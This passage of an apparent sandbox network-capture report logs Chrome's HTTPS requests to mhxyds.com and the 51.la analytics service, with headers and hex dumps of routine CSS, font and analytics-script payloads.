a7 56 94 60 a9 46 bb 56 bb bf 3b a5 7b 
Data Ascii: z4?o?XA>6qO8_\yzjqtxFL4Z^6m~?Tll?hPX~J|rG-*D~>7xr (I]U$'Yv0Fd/-$<K-*c- nkXTq__kq/'V`FV;{

Session ID Source IP Source Port Destination IP
Destination
Port

Process

142 192.168.11.20 61153 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2078 OUT GET /jpg/vince-pezzulo-know-746x419-1bc7b.jpg?mw=285&hash=4367719F71F1327D4D3A17742A8CB2EAE99B6676 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

143 192.168.11.20 53359 47.253.50.2 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:54 UTC 2078 OUT GET /js-sdk-pro.min.js HTTP/1.1
Host: sdk.51.la
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

144 192.168.11.20 56184 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2078 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

145 192.168.11.20 53179 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2079 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

146 47.253.50.2 443 192.168.11.20 53359 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:54 UTC 2080 IN HTTP/1.1 200 OK
Server: openresty
Date: Thu, 11 Aug 2022 03:42:54 GMT
Content-Type: application/javascript; charset=utf-8
Content-Length: 34330
Last-Modified: Fri, 15 Jul 2022 04:05:56 GMT
Connection: close
ETag: "62d0e7a4-861a"
Cache-Control: max-age=1296000
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Accept-Ranges: bytes

2022-08-11 03:42:54 UTC 2080 IN Data Raw: 2f 2a 21 0a 20 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 
77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 20 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 
38 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 
20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 7
3 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 
6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 
62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d 3d 
Data Ascii: /*! * 51LA Analysis Javascript Software Development Kit * js-sdk-pro v1.58.3 * Copyright  2016-2022 51.la All 
Rights Reserved */(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),
j=A('Number'),k=A('String'),m=

2022-08-11 03:42:54 UTC 2096 IN Data Raw: 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 
5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 
66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 
2c 66 6f 2c 66 70 2c 66 71 2c 66 72 2c 66 73 2c 66 74 2c 66 75 3d 5b 5d 2c 66 76 3d 5b 5d 2c 66 77 3d 30 78 30 2c 66 7
8 3d 66 65 28 29 7c 7c 4e 61 4e 3b 66 75 6e 63 74 69 6f 6e 20 66 79 28 66 6b 2c 66 6c 29 7b 76 61 72 20 66 6d 3b 72 65 
74 75 72 6e 2d 30 78 31 21 3d 3d 28 66 6d 3d 66 75 6e 63 74 69 6f 6e 28 66 6b 2c 66 6c 29 7b 76 61 72 20 66 6d 2c 66 
6e 3b 69 66 28 6e 75 6c 6c 21 3d 41 72 72 61 79 5b 27 70 72 6f 74 6f 
Data Ascii: indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,
fp,fq,fr,fs,ft,fu=[],fv=[],fw=0x0,fx=fe()||NaN;function fy(fk,fl){var fm;return-0x1!==(fm=function(fk,fl){var fm,fn;if(null!=Array
['proto

2022-08-11 03:42:54 UTC 2112 IN Data Raw: 5d 28 29 29 2c 6a 64 3d 6a 36 5b 27 68 72 65 66 27 5d 2c 67 53 3d 7b 27 69 64 27 3a 6a 37 5b 27 69 64 27 
5d 2c 27 72 74 27 3a 6a 38 2c 27 74 74 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 74 74 27 5d 2c 27 6b 77 27 3a 
61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 6b 77 27 5d 2c 27 64 73 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 64 
73 27 5d 2c 27 73 69 64 27 3a 6a 61 5b 30 78 31 5d 2c 27 63 75 27 3a 6a 36 5b 27 68 72 65 66 27 5d 2c 27 70 75 27 3a 
61 65 5b 27 6a 63 53 57 68 62 27 5d 28 29 2c 27 72 6c 27 3a 6a 62 5b 27 77 69 64 74 68 27 5d 2b 27 2a 27 2b 6a 62 5b 
27 68 65 69 67 68 74 27 5d 2c 27 6c 61 6e 67 27 3a 69 45 5b 27 68 4b 4a 6c 76 4e 27 5d 28 67 72 29 2c 27 63 74 27 3a 
69 45 5b 27 68 4a 64 59 51 6d 27 5d 28 67 72 29 2c 27 73 76 64 27 3a 6a 61 
Data Ascii: ]()),jd=j6['href'],gS={'id':j7['id'],'rt':j8,'tt':ae['ZNMTWj']['tt'],'kw':ae['ZNMTWj']['kw'],'ds':ae['ZNMTWj']['ds'],'sid':ja[0x
1],'cu':j6['href'],'pu':ae['jcSWhb'](),'rl':jb['width']+'*'+jb['height'],'lang':iE['hKJlvN'](gr),'ct':iE['hJdYQm'](gr),'svd':ja

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

147 192.168.11.20 58425 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2114 OUT GET /img/logo.svg HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

148 192.168.11.20 59241 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:54 UTC 2114 OUT GET /css/fields.css HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

149 192.168.11.20 61076 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:54 UTC 2115 OUT GET /js/main.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

15 118.27.105.118 443 192.168.11.20 57622 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:39 UTC 105 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:39 GMT
Content-Type: text/css
Content-Length: 230383
Last-Modified: Tue, 11 Aug 2020 07:12:16 GMT
Connection: close
Vary: Accept-Encoding
ETag: "5f3244d0-383ef"
Expires: Thu, 11 Aug 2022 15:42:39 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:39 UTC 106 IN Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 40 69 6d 70 6f 72 74 20 75 72 6c 28 68 74 74 70 3a 2f 2f 
68 65 6c 6c 6f 2e 6d 79 66 6f 6e 74 73 2e 6e 65 74 2f 63 6f 75 6e 74 2f 32 64 66 38 35 65 29 3b 2e 62 74 6e 2c 2e 62 74 
6e 2d 67 72 6f 75 70 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 61 63 74 69 76 65 2c 2e 62 74 6e 2d 67 72 6f 
75 70 2e 6f 70 65 6e 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2c 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 
65 3a 66 6f 63 75 73 2c 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 3a 66 6f 63 75 73 2c 2e 6d 6f 64 61 6c 2c 2e 6d 6f 64 61 
6c 2d 63 6f 6e 74 65 6e 74 2c 2e 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 3a 66 6f 63 75 73 2c 2e 6f 70 65 6e 3e 61 2c 61 
3a 61 63 74 69 76 65 2c 61 3a 66 6f 63 75 73 2c 61 3a 68 
Data Ascii: @charset "UTF-8";@import url(http://hello.myfonts.net/count/2df85e);.btn,.btn-group .dropdown-toggle:active,
.btn-group.open .dropdown-toggle,.dropdown-toggle:focus,.form-control:focus,.modal,.modal-content,.navbar-togg
le:focus,.open>a,a:active,a:focus,a:h
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2022-08-11 03:42:39 UTC 121 IN Data Raw: 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 72 65 64 69 74 2d 63 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 
74 3a 22 5c 65 31 37 37 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 72 61 6e 73 66 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 
74 65 6e 74 3a 22 5c 65 31 37 38 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 75 74 6c 65 72 79 3a 62 65 66 6f 72 65 7b 
63 6f 6e 74 65 6e 74 3a 22 5c 65 31 37 39 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 68 65 61 64 65 72 3a 62 65 66 6f 72 65 
7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 38 30 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 6f 6d 70 72 65 73 73 65 64 3a 62 
65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 38 31 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 65 61 72 70 68 6f 6e 
65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 
Data Ascii: .glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:
before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.
glyphicon-earphone:before{content:"\e

2022-08-11 03:42:40 UTC 162 IN Data Raw: 32 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 34 7b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 
63 6f 6c 2d 6c 67 2d 35 7b 77 69 64 74 68 3a 34 31 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 36 
7b 77 69 64 74 68 3a 35 30 25 7d 2e 63 6f 6c 2d 6c 67 2d 37 7b 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 33 33 33 
33 25 7d 2e 63 6f 6c 2d 6c 67 2d 38 7b 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6
c 67 2d 39 7b 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 31 30 7b 77 69 64 74 68 3a 38 33 2e 33 33 33 33 
33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 31 31 7b 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 36 36 36 36 37 25 
7d 2e 63 6f 6c 2d 6c 67 2d 31 32 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 
Data Ascii: 25%}.col-lg-4{width:33.3333333333%}.col-lg-5{width:41.6666666667%}.col-lg-6{width:50%}.col-lg-7{wi
dth:58.3333333333%}.col-lg-8{width:66.6666666667%}.col-lg-9{width:75%}.col-lg-10{width:83.3333333333%}.col-lg-
11{width:91.6666666667%}.col-lg-12{width:100%}.

2022-08-11 03:42:40 UTC 178 IN Data Raw: 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 73 65 6c 65 63 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 
6f 6e 2c 73 65 6c 65 63 74 2e 69 6e 70 75 74 2d 73 6d 7b 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 
67 68 74 3a 33 32 70 78 7d 2e 66 6f 72 6d 2d 67 72 6f 75 70 2d 73 6d 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 2e 69 
6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3e 73 65 6c 65 63 74 5b 6d 
75 6c 74 69 70 6c 65 5d 2e 62 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 7
5 70 2d 62 74 6e 3e 74 65 78 74 61 72 65 61 2e 62 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 73 65 6c 65 
63 74 5b 6d 75 6c 74 69 70 6c 65 5d 2e 66 6f 72 6d 2d 63 6f 6e 74 
Data Ascii: nput-group-sm>select.input-group-addon,select.input-sm{height:32px;line-height:32px}.form-group-sm .form-
control,.input-group-sm>.input-group-btn>select[multiple].btn,.input-group-sm>.input-group-btn>textarea.btn,.input-group-
sm>select[multiple].form-cont

2022-08-11 03:42:40 UTC 194 IN Data Raw: 72 61 64 69 65 6e 74 28 65 6e 61 62 6c 65 64 3d 66 61 6c 73 65 29 3b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 
6c 6f 77 65 64 7d 2e 6f 70 65 6e 3e 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 
7d 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 2d 6c 65 66 74 7b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 61 75 74 6f 7d 
2e 64 72 6f 70 64 6f 77 6e 2d 68 65 61 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 62 
31 62 31 62 31 7d 2e 64 72 6f 70 64 6f 77 6e 2d 62 61 63 6b 64 72 6f 70 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 
6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 74 6f 70 3a 30 3b 7a 2d 69 6e 64 65 78 3a 39 
39 30 7d 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 65 72 74 69 63 61 
Data Ascii: radient(enabled=false);cursor:not-allowed}.open>.dropdown-menu{display:block}.dropdown-menu-left{l
eft:0;right:auto}.dropdown-header{font-size:12px;color:#b1b1b1}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0
;top:0;z-index:990}.btn-group-vertica

2022-08-11 03:42:40 UTC 210 IN Data Raw: 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 68 69 64 64 65 6e 2c 2e 76 69 73 69 62 6c 65 2d 6c 
67 2c 2e 76 69 73 69 62 6c 65 2d 6c 67 2d 62 6c 6f 63 6b 2c 2e 76 69 73 69 62 6c 65 2d 6c 67 2d 69 6e 6c 69 6e 65 2c 
2e 76 69 73 69 62 6c 65 2d 6c 67 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 2c 2e 76 69 73 69 62 6c 65 2d 6d 64 2c 2e 76 
69 73 69 62 6c 65 2d 6d 64 2d 62 6c 6f 63 6b 2c 2e 76 69 73 69 62 6c 65 2d 6d 64 2d 69 6e 6c 69 6e 65 2c 2e 76 69 73 6
9 62 6c 65 2d 6d 64 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 2c 2e 76 69 73 69 62 6c 65 2d 73 6d 2c 2e 76 69 73 69 62 6c 
65 2d 73 6d 2d 62 6c 6f 63 6b 2c 2e 76 69 73 69 62 6c 65 2d 73 6d 2d 69 6e 6c 69 6e 65 2c 2e 76 69 73 69 62 6c 65 2d 
73 6d 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 2c 2e 76 69 73 69 62 6c 
Data Ascii: y:block!important}.hidden,.visible-lg,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md,.visible-
md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,
.visibl

2022-08-11 03:42:40 UTC 226 IN Data Raw: 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 
68 74 3a 61 75 74 6f 7d 2e 68 65 61 64 69 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6c 69 6e 65 2d 68 
65 69 67 68 74 3a 31 2e 32 35 7d 2e 68 65 61 64 69 6e 67 20 61 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 
6f 6e 65 7d 2e 6c 65 61 64 69 6e 7b 63 6f 6c 6f 72 3a 23 36 38 36 38 36 38 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 
2e 32 35 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 6d 65 74 61 7b 63 6f 6c 6f 72 3a 23 39 62 39 62 39 6
2 7d 2e 68 65 61 64 69 6e 67 2b 2e 63 6f 70 79 2c 2e 68 65 61 64 69 6e 67 2b 2e 69 6e 74 72 6f 2c 2e 6d 65 74 61 2b 2e 
63 6f 70 79 2c 2e 6d 65 74 61 2b 2e 69 6e 74 72 6f 7b 6d 61 72 67 
Data Ascii: lay:inline-block;max-width:100%;height:auto}.heading{font-weight:700;line-height:1.25}.heading a{text-decora
tion:none}.leadin{color:#686868;margin-bottom:.25em;font-size:14px}.meta{color:#9b9b9b}.heading+.copy,.heading
+.intro,.meta+.copy,.meta+.intro{marg

2022-08-11 03:42:40 UTC 242 IN Data Raw: 72 20 74 64 2e 61 63 74 69 76 65 3a 61 63 74 69 76 65 2c 2e 64 61 74 65 70 69 63 6b 65 72 20 74 61 62 6c 
65 20 74 72 20 74 64 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 2e 61 63 74 69 76 65 2c 2e 64 61 74 65 70 69 63 6b 65 72 
20 74 61 62 6c 65 20 74 72 20 74 64 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 3a 61 63 74 69 76 65 2c 2e 64 61 74 65 70 6
9 63 6b 65 72 20 74 61 62 6c 65 20 74 72 20 74 64 2e 72 61 6e 67 65 2e 74 6f 64 61 79 2e 61 63 74 69 76 65 2c 2e 64 61 
74 65 70 69 63 6b 65 72 20 74 61 62 6c 65 20 74 72 20 74 64 2e 72 61 6e 67 65 2e 74 6f 64 61 79 2e 64 69 73 61 62 6c 
65 64 2e 61 63 74 69 76 65 2c 2e 64 61 74 65 70 69 63 6b 65 72 20 74 61 62 6c 65 20 74 72 20 74 64 2e 72 61 6e 67 65 
2e 74 6f 64 61 79 2e 64 69 73 61 62 6c 65 64 3a 61 63 74 69 76 65 2c 2e 
Data Ascii: r td.active:active,.datepicker table tr td.active:hover.active,.datepicker table tr td.active:hover:active,.datepicker 
table tr td.range.today.active,.datepicker table tr td.range.today.disabled.active,.datepicker table tr td.range.today.
disabled:active,.

2022-08-11 03:42:40 UTC 258 IN Data Raw: 74 61 62 6c 65 20 74 72 20 74 64 20 73 70 61 6e 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 
23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 32 38 62 63 61 3b 62 6f 72 64 65 72 2d 63 6f 6c 
6f 72 3a 23 33 35 37 65 62 64 3b 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 2d 31 70 78 20 30 20 72 67 62 61 28 30 2c 
30 2c 30 2c 2e 32 35 29 7d 2e 64 61 74 65 70 69 63 6b 65 72 20 74 61 62 6c 65 20 74 72 20 74 64 20 73 70 61 6e 2e 61 
63 74 69 76 65 2e 61 63 74 69 76 65 2c 2e 64 61 74 65 70 69 63 6b 65 72 20 74 61 62 6c 65 20 74 72 20 74 64 20 73 70 
61 6e 2e 61 63 74 69 76 65 2e 64 69 73 61 62 6c 65 64 2e 61 63 74 69 76 65 2c 2e 64 61 74 65 70 69 63 6b 65 72 20 74 
61 62 6c 65 20 74 72 20 74 64 20 73 70 61 6e 2e 61 63 74 69 76 65 2e 
Data Ascii: table tr td span.active:hover{color:#fff;background-color:#428bca;border-color:#357ebd;text-shadow:0 -1px 0 
rgba(0,0,0,.25)}.datepicker table tr td span.active.active,.datepicker table tr td span.active.disabled.active,.datepicker table 
tr td span.active.

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:40 UTC 274 IN Data Raw: 30 70 78 7d 2e 69 74 65 6d 73 2d 6d 75 6c 74 69 70 6c 65 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 
69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 6d 6f 64 75 6c 65 2d 68 65 61 64 69 6e 67 2b 2e 6c 69 73 74 7b 6d 61 72 67 69 6e 
2d 74 6f 70 3a 2e 32 35 65 6d 7d 2e 6c 69 73 74 2d 63 6f 6e 74 72 6f 6c 73 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 6c 69 
73 74 2d 63 6f 6e 74 72 6f 6c 73 3e 6c 69 3a 6e 6f 74 28 2e 63 6f 6e 74 72 6f 6c 73 2d 6c 61 62 65 6c 29 7b 70 61 64 64 
69 6e 67 2d 6c 65 66 74 3a 2e 35 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 35 65 6d 3b 62 6f 72 64 65 72 
2d 6c 65 66 74 3a 31 70 78 20 73 6f 6c 69 64 20 23 62 31 62 31 62 31 7d 2e 6c 69 73 74 2d 63 6f 6e 74 72 6f 6c 73 3e 6c 
69 3a 6e 6f 74 28 2e 63 6f 6e 74 72 6f 6c 73 2d 6c 61 62 65 6c 
Data Ascii: 0px}.items-multiple:last-child{margin-bottom:0}.module-heading+.list{margin-top:.25em}.list-controls{float:l
eft}.list-controls>li:not(.controls-label){padding-left:.5em;padding-right:.5em;border-left:1px solid #b1b1b1}.list-cont
rols>li:not(.controls-label

2022-08-11 03:42:40 UTC 290 IN Data Raw: 6f 72 65 7b 74 6f 70 3a 2d 34 30 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 
70 78 29 7b 2e 6d 6f 64 75 6c 65 2d 64 69 76 69 64 65 72 3a 62 65 66 6f 72 65 7b 74 6f 70 3a 2d 34 30 70 78 7d 7d 40 6d 
65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 6d 6f 64 75 6c 65 2d 64 69 76 69 64 65 72 
3a 62 65 66 6f 72 65 7b 74 6f 70 3a 2d 35 30 70 78 7d 7d 2e 69 73 2d 65 64 69 74 6f 72 20 2e 6f 76 65 72 6c 61 79 7b 70 
6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 69 73 2d 65 64 69 74 6f 72 20 2e 6f 76 65 72 6c 61 79 20 2e 
64 65 74 61 69 6c 73 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 61 75 74 6f 7d 2e 6e 6f 2d 70 6f 69 6e 74 65 72 65 
76 65 6e 74 73 20 2e 69 73 2d 65 64 69 74 6f 72 20 2e 6f 76 
Data Ascii: ore{top:-40px}}@media (min-width:992px){.module-divider:before{top:-40px}}@media (min-width:1200px)
{.module-divider:before{top:-50px}}.is-editor .overlay{pointer-events:none}.is-editor .overlay .details{pointer-events:
